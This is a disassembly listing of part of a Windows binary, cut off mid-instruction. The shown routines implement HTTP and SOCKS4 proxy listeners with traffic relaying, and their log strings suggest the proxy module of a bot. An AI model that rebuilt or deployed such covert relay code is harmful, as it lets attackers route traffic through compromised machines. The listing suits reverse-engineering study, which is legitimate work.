0E8505200h dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h dd 75000027h, 90016A0Dh, 3F8A13E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi ; closesocket loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh call near ptr 2821BE4h nop loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi nop call near ptr 71AB9639h loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429F71 push 0Ah nop call near ptr 2821BE4h jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_429FC3 push 0Ah nop call near ptr 2821BE4h jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi ; closesocket push ebx call esi ; closesocket loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh nop call near ptr 2821BE4h jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax nop call near ptr 71AB9639h loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 nop call near ptr 71AB2DC0h test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax call near ptr 71AB615Ah nop mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp ; sendto mov ebx, 